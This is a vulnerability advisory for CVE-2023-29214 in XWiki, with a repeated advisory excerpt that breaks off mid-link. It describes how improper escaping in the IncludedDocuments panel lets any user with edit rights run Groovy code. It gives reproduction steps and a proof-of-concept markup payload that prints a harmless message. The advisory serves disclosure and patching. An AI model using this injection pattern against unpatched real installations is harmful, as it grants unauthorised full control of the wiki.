Headline
CVE-2023-29214: Privilege escalation (PR) from account through IncludedDocuments panel
XWiki Commons are technical libraries common to several other top level XWiki projects. Any user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel. The problem has been patched on XWiki 14.4.7, and 14.10.
Steps to reproduce:
As an admin, add the Panels.IncludedDocuments panel on one column
As a user without script or programming right open your user account (or any other document you can edit with the wiki editor.
Set the content to
{{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}
.
- Click “Save and continue”
Expected result:
The panel displays
One included page: {{cache}}{{groovy}}println(“Hello from Groovy” + " in included document!"){{/groovy}}{{/cache}}
.
Actual result:
The panel displays the text
One included page: XWiki.Hello from Groovy in included document!
This demonstrates a privilege escalation from simple user account to programming rights.
Related news
### Impact Any user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel. **Precondition**: As an admin, add the `Panels.IncludedDocuments` panel on one column. A proof of concept exploit is to edit a document and add the following code before saving. ``` {{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}} ``` **expected** The right had side panels contain: ``` One included page: {{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}} ``` **actual** The right had side panels contain: ``` One included page: XWiki.Hello from Groovy in included document! ``` ### Patches The problem has been patched on XWiki 14.4.7, and 14.10. ### Workarounds The issue can be fixed manually applying this [patch](h...